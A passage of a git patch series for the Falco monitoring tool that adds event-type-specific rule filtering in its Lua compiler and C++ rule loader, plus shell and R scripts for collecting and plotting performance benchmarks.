--- a/userspace/falco/rules.h
+++ b/userspace/falco/rules.h
@@ -8,7 +8,7 @@ class falco_rules
  public:
 	falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename);
 	~falco_rules();
-	void load_rules(string rules_filename);
+	void load_rules(string rules_filename, bool verbose);
 	void describe_rule(string *rule);
 	sinsp_filter* get_filter();
 

From 8050009aa508a05adfb32e093812bc9f24073157 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Thu, 14 Jul 2016 12:51:37 -0700
Subject: [PATCH 09/17] Add support for event-specific filters.

Instead of combining all rules into one huge filter expression and
giving it to the inspector, keep each filter expression separate and
annotate it with the events for which the rule applies.

This uses the capabilties in draios/sysdig#627
to have multiple sets of event-specific filters.

Change traverse_ast to allow a set of node types instead of a single
node type.

Within the compiler, a new pass over the ast get_evttypes looks for
evt.type clauses, converts the evt.type as a string to any event type
ids for which it may apply, and passes that back with the compiled
rule.
As rule conditions may refer to evt.types in negative
contexts (i.e. evt.type != XXX, or not evt.type = XXX), this pass
prefers rules that list event type checks at the beginning of
conditions, and allows other rules with a warning.

When traversing the ast looking for evt.type checks, once any "!=" or
"not ..." is seen, no other evt.type checks are "allowed". If one
is found, the rule is considered ambiguous wrt event types. In this
case, a warning is printed and the rule is associated with a catchall
set that runs for all event types.

Also, instead of rejecting rules with no event type check, print a
warning and associate it with the catchall set.

In the rule loader, create a new global events that maps each event as a
string to the list of event ids for which it may apply. Instead of
calling install_filter once after all rules have been loaded, call a new
function add_filter for each rule. In turn, it passes the rule and list
of event ids to the inspector using add_evttype_filter().

Also, with -v (verbose) also print the exact set of events found for
each event type. This is used by a upcoming change to the set of unit
tests.
---
 userspace/falco/falco.cpp           |   2 +-
 userspace/falco/lua/compiler.lua    | 104 +++++++++++++++++++++++++++-
 userspace/falco/lua/parser.lua      |  18 ++---
 userspace/falco/lua/rule_loader.lua |  11 ++-
 userspace/falco/rules.cpp           |  86 +++++++++++++++++++++--
 userspace/falco/rules.h             |   8 +++
 6 files changed, 209 insertions(+), 20 deletions(-)

diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp
index d3b8ed14..5c5b1442 100644
--- a/userspace/falco/falco.cpp
+++ b/userspace/falco/falco.cpp
@@ -399,11 +399,11 @@ int falco_init(int argc, char **argv)
 		falco_fields::init(inspector, ls);
 
 		falco_logger::init(ls);
+		falco_rules::init(ls);
 
 
 		inspector->set_drop_event_flags(EF_DROP_FALCO);
 		rules->load_rules(config.m_rules_filename, verbose);
-		inspector->set_filter(rules->get_filter());
 		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
 
 		if (describe_all_rules)
diff --git a/userspace/falco/lua/compiler.lua b/userspace/falco/lua/compiler.lua
index 9c6a59be..d51a048f 100644
--- a/userspace/falco/lua/compiler.lua
+++ b/userspace/falco/lua/compiler.lua
@@ -160,7 +160,103 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
       end
    end
 
-   parser.traverse_ast(ast, "BinaryRelOp", cb)
+   parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
+end
+
+-- Examine the ast and find the event types for which the rule should
+-- run. All evt.type references are added as event types up until the
+-- first "!=" binary operator or unary not operator. If no event type
+-- checks are found afterward in the rule, the rule is considered
+-- optimized and is associated with the event type(s).
+--
+-- Otherwise, the rule is associated with a 'catchall' category and is
+-- run for all event types. (Also, a warning is printed).
+--
+
+function get_evttypes(name, ast, source)
+
+   local evttypes = {}
+   local evtnames = {}
+   local found_event = false
+   local found_not = false
+   local found_event_after_not = false
+
+   function cb(node)
+     if node.type == "UnaryBoolOp" then
+	if node.operator == "not" then
+	   found_not = true
+	end
+     else
+	 if node.operator == "!=" then
+	    found_not = true
+	 end
+	 if node.left.type == "FieldName" and node.left.value == "evt.type" then
+	    found_event = true
+	    if found_not then
+	       found_event_after_not = true
+	    end
+	    if node.operator == "in" then
+	       for i, v in ipairs(node.right.elements) do
+		  if v.type == "BareString" then
+		     evtnames[v.value] = 1
+		     for id in string.gmatch(events[v.value], "%S+") do
+			evttypes[id] = 1
+		     end
+		  end
+	       end
+	    else
+	       if node.right.type == "BareString" then
+		  evtnames[node.right.value] = 1
+		  for id in string.gmatch(events[node.right.value], "%S+") do
+		     evttypes[id] = 1
+		  end
+	       end
+	    end
+	 end
+      end
+   end
+
+   parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
+
+   if not found_event then
+      io.stderr:write("Rule "..name..": warning (no-evttype):\n")
+      io.stderr:write(source.."\n")
+      io.stderr:write("         did not contain any evt.type restriction, meaning it will run for all event types.\n")
+      io.stderr:write("         This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+      evttypes = {}
+      evtnames = {}
+   end
+
+   if found_event_after_not then
+      io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
+      io.stderr:write(source.."\n")
+      io.stderr:write("         does not have all evt.type restrictions at the beginning of the condition,\n")
+      io.stderr:write("         or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
+      io.stderr:write("         This has a performance penalty, as the rule can not be limited to specific event types.\n")
+      io.stderr:write("         Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
+      io.stderr:write("         replacing negative matches with positive matches if possible.\n")
+      evttypes = {}
+      evtnames = {}
+   end
+
+   evtnames_only = {}
+   local num_evtnames = 0
+   for name, dummy in pairs(evtnames) do
+      table.insert(evtnames_only, name)
+      num_evtnames = num_evtnames + 1
+   end
+
+   if num_evtnames == 0 then
+      table.insert(evtnames_only, "all")
+   end
+
+   table.sort(evtnames_only)
+
+   if compiler.verbose then
+      io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
+   end
+
+   return evttypes
 end
 
 function compiler.compile_macro(line, list_defs)
@@ -186,7 +282,7 @@ end
 --[[
    Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
 --]]
-function compiler.compile_filter(source, macro_defs, list_defs)
+function compiler.compile_filter(name, source, macro_defs, list_defs)
 
    for name, items in pairs(list_defs) do
       source = string.gsub(source, name, table.concat(items, ", "))
@@ -213,7 +309,9 @@ function compiler.compile_filter(source, macro_defs, list_defs)
       error("Unexpected top-level AST type: "..ast.type)
    end
 
-   return ast
+   evttypes = get_evttypes(name, ast, source)
+
+   return ast, evttypes
 end
 
 
diff --git a/userspace/falco/lua/parser.lua b/userspace/falco/lua/parser.lua
index 62b238a6..dd03b1d3 100644
--- a/userspace/falco/lua/parser.lua
+++ b/userspace/falco/lua/parser.lua
@@ -303,33 +303,33 @@ parser.print_ast = print_ast
 -- have the signature:
 --     cb(ast_node, ctx)
 -- ctx is optional.
-function traverse_ast(ast, node_type, cb, ctx)
+function traverse_ast(ast, node_types, cb, ctx)
    local t = ast.type
 
-   if t == node_type then
+   if node_types[t] ~= nil then
       cb(ast, ctx)
    end
 
    if t == "Rule" then
-      traverse_ast(ast.filter, node_type, cb, ctx)
+      traverse_ast(ast.filter, node_types, cb, ctx)
 
    elseif t == "Filter" then
-      traverse_ast(ast.value, node_type, cb, ctx)
+      traverse_ast(ast.value, node_types, cb, ctx)
 
    elseif t == "BinaryBoolOp" or t == "BinaryRelOp" then
-      traverse_ast(ast.left, node_type, cb, ctx)
-      traverse_ast(ast.right, node_type, cb, ctx)
+      traverse_ast(ast.left, node_types, cb, ctx)
+      traverse_ast(ast.right, node_types, cb, ctx)
 
    elseif t == "UnaryRelOp" or t == "UnaryBoolOp" then
-      traverse_ast(ast.argument, node_type, cb, ctx)
+      traverse_ast(ast.argument, node_types, cb, ctx)
 
    elseif t == "List" then
       for i, v in ipairs(ast.elements) do
-         traverse_ast(v, node_type, cb, ctx)
+         traverse_ast(v, node_types, cb, ctx)
       end
 
    elseif t == "MacroDef" then
-      traverse_ast(ast.value, node_type, cb, ctx)
+      traverse_ast(ast.value, node_types, cb, ctx)
 
    elseif t == "FieldName" or t == "Number" or t == "String" or t == "BareString" or t == "Macro" then
       -- do nothing, no traversal needed
diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/falco/lua/rule_loader.lua
index 24180e51..cf5a439f 100644
--- a/userspace/falco/lua/rule_loader.lua
+++ b/userspace/falco/lua/rule_loader.lua
@@ -117,7 +117,7 @@ end
 -- to a rule.
 local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
-function load_rules(filename, verbose)
+function load_rules(filename, rules_mgr, verbose)
 
    compiler.set_verbose(verbose)
 
@@ -171,7 +171,8 @@ function load_rules(filename, verbose)
 	 v['level'] = priority(v['priority'])
 	 state.rules_by_name[v['rule']] = v
 
-	 local filter_ast = compiler.compile_filter(v['condition'], state.macros, state.lists)
+	 local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
+							      state.macros, state.lists)
 
 	 if (filter_ast.type == "Rule") then
 	    state.n_rules = state.n_rules + 1
@@ -185,6 +186,11 @@ function load_rules(filename, verbose)
 	    -- event.
 	    mark_relational_nodes(filter_ast.filter.value, state.n_rules)
 
+	    install_filter(filter_ast.filter.value)
+
+	    -- Pass the filter and event types back up
+	    falco_rules.add_filter(rules_mgr, evttypes)
+
 	    -- Rule ASTs are merged together into one big AST, with "OR" between each
 	    -- rule.
 	    if (state.filter_ast == nil) then
@@ -198,7 +204,6 @@ function load_rules(filename, verbose)
       end
    end
 
-   install_filter(state.filter_ast)
    io.flush()
 end
 
diff --git a/userspace/falco/rules.cpp b/userspace/falco/rules.cpp
index 25926afe..4bb78949 100644
--- a/userspace/falco/rules.cpp
+++ b/userspace/falco/rules.cpp
@@ -1,4 +1,5 @@
 #include "rules.h"
+#include "logger.h"
 
 extern "C" {
 #include "lua.h"
@@ -6,6 +7,11 @@ extern "C" {
 #include "lauxlib.h"
 }
 
+const static struct luaL_reg ll_falco_rules [] =
+{
+	{"add_filter", &falco_rules::add_filter},
+	{NULL,NULL}
+};
 
 falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename)
 {
@@ -17,6 +23,48 @@ falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filena
 	load_compiler(lua_main_filename);
 }
 
+void falco_rules::init(lua_State *ls)
+{
+	luaL_openlib(ls, "falco_rules", ll_falco_rules, 0);
+}
+
+int falco_rules::add_filter(lua_State *ls)
+{
+	if (! lua_islightuserdata(ls, -2) ||
+	    ! lua_istable(ls, -1))
+	{
+		falco_logger::log(LOG_ERR, "Invalid arguments passed to add_filter()\n");
+		throw sinsp_exception("add_filter error");
+	}
+
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -2);
+
+	list<uint32_t> evttypes;
+
+	lua_pushnil(ls);  /* first key */
+	while (lua_next(ls, -2) != 0) {
+                // key is at index -2, value is at index
+                // -1. We want the keys.
+		evttypes.push_back(luaL_checknumber(ls, -2));
+
+		// Remove value, keep key for next iteration
+		lua_pop(ls, 1);
+	}
+
+	rules->add_filter(evttypes);
+
+	return 0;
+}
+
+void falco_rules::add_filter(list<uint32_t> &evttypes)
+{
+	// While the current rule was being parsed, a sinsp_filter
+	// object was being populated by lua_parser. Grab that filter
+	// and pass it to the inspector.
+	sinsp_filter *filter = m_lua_parser->get_filter(true);
+
+	m_inspector->add_evttype_filter(evttypes, filter);
+}
 
 void falco_rules::load_compiler(string lua_main_filename)
 {
@@ -45,13 +93,42 @@ void falco_rules::load_rules(string rules_filename, bool verbose)
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
 	{
+		// Create a table containing all events, so they can
+		// be mapped to event ids.
+		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
+		const struct ppm_event_info* etable = einfo->m_event_info;
+		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+		map<string,string> events_by_name;
+		for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+		{
+			auto it = events_by_name.find(etable[j].name);
+
+			if (it == events_by_name.end()) {
+				events_by_name[etable[j].name] = to_string(j);
+			} else {
+				string cur = it->second;
+				cur += " ";
+				cur += to_string(j);
+				events_by_name[etable[j].name] = cur;
+			}
+		}
+
+		lua_newtable(m_ls);
+
+		for( auto kv : events_by_name)
+		{
+			lua_pushstring(m_ls, kv.first.c_str());
+			lua_pushstring(m_ls, kv.second.c_str());
+			lua_settable(m_ls, -3);
+		}
+
+		lua_setglobal(m_ls, m_lua_events.c_str());
+
 		// Create a table containing the syscalls/events that
 		// are ignored by the kernel module. load_rules will
 		// return an error if any rule references one of these
 		// syscalls/events.
-		sinsp_evttables* einfo = m_inspector->get_event_info_tables();
-		const struct ppm_event_info* etable = einfo->m_event_info;
-		const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
 
 		lua_newtable(m_ls);
 
@@ -82,8 +159,9 @@ void falco_rules::load_rules(string rules_filename, bool verbose)
 		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
 
 		lua_pushstring(m_ls, rules_filename.c_str());
+		lua_pushlightuserdata(m_ls, this);
 		lua_pushboolean(m_ls, (verbose ? 1 : 0));
-		if(lua_pcall(m_ls, 2, 0, 0) != 0)
+		if(lua_pcall(m_ls, 3, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);
diff --git a/userspace/falco/rules.h b/userspace/falco/rules.h
index 547ae210..52cc7f4b 100644
--- a/userspace/falco/rules.h
+++ b/userspace/falco/rules.h
@@ -1,5 +1,7 @@
 #pragma once
 
+#include <list>
+
 #include "sinsp.h"
 #include "lua_parser.h"
 
@@ -12,9 +14,14 @@ class falco_rules
 	void describe_rule(string *rule);
 	sinsp_filter* get_filter();
 
+	static void init(lua_State *ls);
+	static int add_filter(lua_State *ls);
+
  private:
 	void load_compiler(string lua_main_filename);
 
+	void add_filter(list<uint32_t> &evttypes);
+
 	lua_parser* m_lua_parser;
 	sinsp* m_inspector;
 	lua_State* m_ls;
@@ -22,6 +29,7 @@ class falco_rules
 	string m_lua_load_rules = "load_rules";
 	string m_lua_ignored_syscalls = "ignored_syscalls";
 	string m_lua_ignored_events = "ignored_events";
+	string m_lua_events = "events";
 	string m_lua_on_event = "on_event";
 	string m_lua_describe_rule = "describe_rule";
 };

From b76423b31dd7f6639d699400d77480b8e930b5d3 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Fri, 10 Jun 2016 15:35:15 -0700
Subject: [PATCH 10/17] Useful scripts to collect/display perf results.

Add shell scripts to make it easier to collect performance results from
traces, live tests, and phoronix tests.

With run_performance_tests.sh you specify the following:
  - a subject program to run, using --root
  - a name to give to this set of results, using --variant
  - a test to run, using --test
  - a file to write the results to, using --results.

For tests that start with "trace", the script runs falco/sysdig on the
trace file and measures the time taken to read the file. For other
tests, he script handles starting falco/sysdig, starting a cpu
measurement script (a wrapper around top, just to provide identical
values to what you would see using top) to measure the cpu usage of
falco/sysdig, and running a live test.

The measurement interval for cpu usage depends on the test being run--10
seconds for most tests, 2 seconds for shorter tests.

The output is written as json to the file specified in --results.

Also add R scripts to easily display the results from the shell
script. plot-live.r shows a linechart of the cpu usage for the provided
variants over time. plot-traces.r shows grouped barcharts showing
user/system/total time taken for the provided variants and traces.

One bug--you have to make the results file actual json by adding
leading/trailing []s.
---
 test/cpu_monitor.sh           |   9 +
 test/plot-live.r              |  40 +++++
 test/plot-traces.r            |  35 ++++
 test/run_performance_tests.sh | 316 ++++++++++++++++++++++++++++++++++
 4 files changed, 400 insertions(+)
 create mode 100644 test/cpu_monitor.sh
 create mode 100644 test/plot-live.r
 create mode 100644 test/plot-traces.r
 create mode 100644 test/run_performance_tests.sh

diff --git a/test/cpu_monitor.sh b/test/cpu_monitor.sh
new file mode 100644
index 00000000..594536d3
--- /dev/null
+++ b/test/cpu_monitor.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+SUBJ_PID=$1
+BENCHMARK=$2
+VARIANT=$3
+RESULTS_FILE=$4
+CPU_INTERVAL=$5
+
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
diff --git a/test/plot-live.r b/test/plot-live.r
new file mode 100644
index 00000000..1305da65
--- /dev/null
+++ b/test/plot-live.r
@@ -0,0 +1,40 @@
+require(jsonlite)
+library(ggplot2)
+library(GetoptLong)
+
+initial.options <- commandArgs(trailingOnly = FALSE)
+file.arg.name <- "--file="
+script.name <- sub(file.arg.name, "", initial.options[grep(file.arg.name, initial.options)])
+script.basename <- dirname(script.name)
+
+if (substr(script.basename, 1, 1) != '/') {
+    script.basename = paste(getwd(), script.basename, sep='/')
+}
+
+results = paste(script.basename, "results.json", sep='/')
+output = "./output.png"
+
+GetoptLong(
+    "results=s", "Path to results file",
+    "benchmark=s", "Benchmark from results file to graph",
+    "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
+    "output=s", "Output graph file"
+)
+
+res <- fromJSON(results, flatten=TRUE)
+
+res2 = res[res$benchmark == benchmark & res$variant %in% variant,]
+
+plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) +
+    geom_line() +
+    ylab("CPU Usage (%)") +
+    xlab("Time") +
+    ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark))
+    theme(legend.position=c(.2, .88));
+
+print(paste("Writing graph to", output, sep=" "))
+ggsave(file=output)
+
+
+
+
diff --git a/test/plot-traces.r b/test/plot-traces.r
new file mode 100644
index 00000000..a38bfaf9
--- /dev/null
+++ b/test/plot-traces.r
@@ -0,0 +1,35 @@
+require(jsonlite)
+library(ggplot2)
+library(reshape)
+
+res <- fromJSON("/home/mstemm/results.txt", flatten=TRUE)
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.real)) +
+    geom_bar(stat = "summary", fun.y = "mean") +
+    coord_flip() +
+    facet_grid(shortfile ~ .) +
+    ylab("Wall Clock Time (sec)") +
+    xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-real.png")
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.user)) +
+    geom_bar(stat = "summary", fun.y = "mean") +
+    coord_flip() +
+    facet_grid(shortfile ~ .) +
+    ylab("User Time (sec)") +
+    xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-user.png")
+
+res2 <- melt(res, id.vars = c("config", "shortfile"), measure.vars = c("elapsed.sys", "elapsed.user"))
+plot <- ggplot(data=res2, aes(x=config, y=value, fill=variable, order=variable)) +
+     geom_bar(stat = "summary", fun.y = "mean") +
+     coord_flip() +
+     facet_grid(shortfile ~ .) +
+     ylab("User/System Time (sec)") +
+     xlab("Trace File/Program")
+
+ggsave(file="/mnt/sf_mstemm/res-sys-user.png")
diff --git a/test/run_performance_tests.sh b/test/run_performance_tests.sh
new file mode 100644
index 00000000..4bdf2bc3
--- /dev/null
+++ b/test/run_performance_tests.sh
@@ -0,0 +1,316 @@
+#!/bin/bash
+
+#set -x
+
+trap "cleanup; exit" SIGHUP SIGINT SIGTERM
+
+function download_trace_files() {
+
+    (mkdir -p $TRACEDIR && rm -rf $TRACEDIR/traces-perf && curl -fo $TRACEDIR/traces-perf.zip https://s3.amazonaws.com/download.draios.com/falco-tests/traces-perf.zip && unzip -d $TRACEDIR $TRACEDIR/traces-perf.zip && rm -f $TRACEDIR/traces-perf.zip) || exit 1
+
+}
+
+function time_cmd() {
+    cmd="$1"
+    file="$2"
+
+    benchmark=`basename $file .scap`
+
+    echo -n "$benchmark: "
+    for i in `seq 1 5`; do
+	echo -n "$i "
+	time=`date --iso-8601=sec`
+	/usr/bin/time -a -o $RESULTS_FILE --format "{\"time\": \"$time\", \"benchmark\": \"$benchmark\", \"file\": \"$file\", \"variant\": \"$VARIANT\", \"elapsed\": {\"real\": %e, \"user\": %U, \"sys\": %S}}," $cmd >> $OUTPUT_FILE 2>&1
+    done
+    echo ""
+}
+
+function run_falco_on() {
+    file="$1"
+
+    cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file"
+
+    time_cmd "$cmd" "$file"
+}
+
+function run_sysdig_on() {
+    file="$1"
+
+    cmd="$ROOT/userspace/sysdig/sysdig -N -z -r $file evt.type=none"
+
+    time_cmd "$cmd" "$file"
+}
+
+function run_trace() {
+
+    if [ ! -e $TRACEDIR ]; then
+	download_trace_files
+    fi
+
+    trace_file="$1"
+
+    if [ $trace_file == "all" ]; then
+	files=($TRACEDIR/traces-perf/*.scap)
+    else
+	files=($TRACEDIR/traces-perf/$trace_file.scap)
+    fi
+
+    for file in ${files[@]}; do
+	if [[ $ROOT == *"falco"* ]]; then
+	    run_falco_on "$file"
+	else
+	    run_sysdig_on "$file"
+	fi
+    done
+}
+
+function start_monitor_cpu_usage() {
+    echo "   monitoring cpu usage for sysdig/falco program"
+
+    setsid bash `dirname $0`/cpu_monitor.sh $SUBJ_PID $live_test $VARIANT $RESULTS_FILE $CPU_INTERVAL &
+    CPU_PID=$!
+    sleep 5
+}
+
+function start_subject_prog() {
+
+    echo "   starting falco/sysdig program"
+    # Do a blocking sudo command now just to ensure we have a password
+    sudo bash -c ""
+
+    if [[ $ROOT == *"falco"* ]]; then
+	sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 &
+    else
+	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
+    fi
+
+    SUDO_PID=$!
+    sleep 5
+    SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
+
+    if [ -z $SUBJ_PID ]; then
+	echo "Could not find pid of subject program--did it start successfully? Not continuing."
+	exit 1
+    fi
+}
+
+function run_htop() {
+    screen -S htop-screen -d -m /usr/bin/htop -d2
+    sleep 90
+    screen -X -S htop-screen quit
+}
+
+function run_juttle_examples() {
+    pushd $SCRIPTDIR/../../juttle-engine/examples
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml up -d
+    sleep 120
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml stop
+    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml rm -fv    
+    popd
+}
+
+function run_kubernetes_demo() {
+    pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
+    bash run-local.sh
+    bash init.sh
+    sleep 600
+    docker stop $(docker ps -qa)
+    docker rm -fv $(docker ps -qa)
+    popd
+}
+
+function run_live_test() {
+
+    live_test="$1"
+
+    echo "Running live test $live_test"
+
+    case "$live_test" in
+	htop ) CPU_INTERVAL=2;;
+	* ) CPU_INTERVAL=10;;
+    esac
+
+    start_subject_prog
+    start_monitor_cpu_usage
+
+    echo "   starting live program and waiting for it to finish"
+    case "$live_test" in
+	htop ) run_htop ;;
+	juttle-examples ) run_juttle_examples ;;
+	kube-demo ) run_kubernetes_demo ;;
+	* ) usage; cleanup; exit 1 ;;
+    esac
+
+    cleanup
+
+}
+
+function cleanup() {
+
+    if [ -n "$SUBJ_PID" ] ; then
+	echo "   stopping falco/sysdig program $SUBJ_PID"
+	sudo kill $SUBJ_PID
+    fi
+
+    if [ -n "$CPU_PID" ] ; then
+	echo "   stopping cpu monitor program $CPU_PID"
+	kill -- -$CPU_PID
+    fi
+}
+
+run_live_tests() {
+    test="$1"
+
+    if [ $test == "all" ]; then
+	tests="htop juttle-examples kube-demo"
+    else
+	tests=$test
+    fi
+
+    for test in $tests; do
+	run_live_test $test
+    done
+}
+
+function run_phoronix_test() {
+
+    live_test="$1"
+
+    case "$live_test" in
+	pts/aio-stress | pts/fs-mark | pts/iozone | pts/network-loopback | pts/nginx | pts/pybench | pts/redis | pts/sqlite | pts/unpack-linux ) CPU_INTERVAL=2;;
+	* ) CPU_INTERVAL=10;;
+    esac
+
+    echo "Running phoronix test $live_test"
+
+    start_subject_prog
+    start_monitor_cpu_usage
+
+    echo "   starting phoronix test and waiting for it to finish"
+
+    TEST_RESULTS_NAME=$VARIANT FORCE_TIMES_TO_RUN=1 phoronix-test-suite default-run $live_test
+
+    cleanup
+
+}
+
+# To install and configure phoronix:
+#  (redhat instructions, adapt as necessary for ubuntu or other distros)
+#   - install phoronix: yum install phoronix-test-suite.noarch
+#   - install dependencies not handled by phoronix: yum install libaio-devel pcre-devel popt-devel glibc-static zlib-devel nc bc
+#   - fix trivial bugs in tests:
+#      - edit ~/.phoronix-test-suite/installed-tests/pts/network-loopback-1.0.1/network-loopback line "nc -d -l 9999 > /dev/null &" to "nc -d -l 9999 > /dev/null &"
+#      - edit ~/.phoronix-test-suite/test-profiles/pts/nginx-1.1.0/test-definition.xml line "<Arguments>-n 500000 -c 100 http://localhost:8088/test.html</Arguments>" to "<Arguments>-n 500000 -c 100 http://127.0.0.1:8088/test.html</Arguments>"
+#   - phoronix batch-install <test list below>
+
+function run_phoronix_tests() {
+
+    test="$1"
+
+    if [ $test == "all" ]; then
+	tests="pts/aio-stress pts/apache pts/blogbench pts/compilebench pts/dbench pts/fio pts/fs-mark pts/iozone pts/network-loopback pts/nginx pts/pgbench pts/phpbench pts/postmark pts/pybench pts/redis pts/sqlite pts/unpack-linux"
+    else
+	tests=$test
+    fi
+
+    for test in $tests; do
+	run_phoronix_test $test
+    done
+}
+
+run_tests() {
+
+    IFS=':' read -ra PARTS <<< "$TEST"
+
+    case "${PARTS[0]}" in
+	trace ) run_trace "${PARTS[1]}" ;;
+	live ) run_live_tests "${PARTS[1]}" ;;
+	phoronix ) run_phoronix_tests "${PARTS[1]}" ;;
+	* ) usage; exit 1 ;;
+    esac
+}
+
+usage() {
+    echo "Usage: $0 [options]"
+    echo ""
+    echo "Options:"
+    echo "   -h/--help: show this help"
+    echo "   -v/--variant: a variant name to attach to this set of test results"
+    echo "   -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
+    echo "   -R/--results: append test results to this file"
+    echo "   -o/--output: append program output to this file"
+    echo "   -t/--test: test to run. Argument has the following format:"
+    echo "       trace:<trace>: read the specified trace file."
+    echo "            trace:all means run all traces"
+    echo "       live:<live test>: run the specified live test."
+    echo "            live:all means run all live tests."
+    echo "            possible live tests:"
+    echo "                live:htop: run htop -d2"
+    echo "                live:kube-demo: run kubernetes demo from infrastructure repo"
+    echo "                live:juttle-examples: run a juttle demo environment based on docker-compose"
+    echo "       phoronix:<test>: run the specified phoronix test."
+    echo "            if <test> is not 'all', it is passed directly to the command line of \"phoronix-test-suite run <test>\""
+    echo "            if <test> is 'all', a built-in set of phoronix tests will be chosen and run"
+    echo "   -T/--tracedir: Look for trace files in this directory. If doesn't exist, will download trace files from s3"
+}
+
+OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir: -n $0 -- "$@"`
+
+if [ $? != 0 ]; then
+    echo "Exiting" >&2
+    exit 1
+fi
+
+eval set -- "$OPTS"
+
+VARIANT="falco"
+ROOT=`dirname $0`/../build
+SCRIPTDIR=`dirname $0`
+RESULTS_FILE=`dirname $0`/results.json
+OUTPUT_FILE=`dirname $0`/program-output.txt
+TEST=trace:all
+TRACEDIR=/tmp/falco-perf-traces.$USER
+CPU_INTERVAL=10
+
+while true; do
+    case "$1" in
+	-h | --help ) usage; exit 1;;
+	-v | --variant ) VARIANT="$2"; shift 2;;
+	-r | --root ) ROOT="$2"; shift 2;;
+	-R | --results ) RESULTS_FILE="$2"; shift 2;;
+	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
+	-t | --test ) TEST="$2"; shift 2;;
+	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
+	* ) break;;
+    esac
+done
+
+if [ -z $VARIANT ]; then
+    echo "A test variant name must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $ROOT ]; then
+    echo "A root directory containing a falco/sysdig binary must be provided. Not continuing."
+    exit 1
+fi
+
+ROOT=`realpath $ROOT`
+
+
+if [ -z $RESULTS_FILE ]; then
+    echo "An output file for test results must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $OUTPUT_FILE ]; then
+    echo "An file for program output must be provided. Not continuing."
+    exit 1
+fi
+
+if [ -z $TEST ]; then
+    echo "A test must be provided. Not continuing."
+    exit 1
+fi
+
+run_tests

From ddedf595baefb3dec40fd4d3340ca3fc359395b2 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Wed, 13 Jul 2016 17:59:20 -0700
Subject: [PATCH 11/17] Rule updates related to event-specific filters

- Move evt.type checks to the front of rules. This is necessary to avoid
  warnings now that event types are automatically extracted during rule
  parsing and used to bind each rule with a specific set of events.

- Explicitly specify open for O_CREAT. With the change to event-specific
  filters, it's necessary to associate a search for O_CREAT with
  evt.type=open.
---
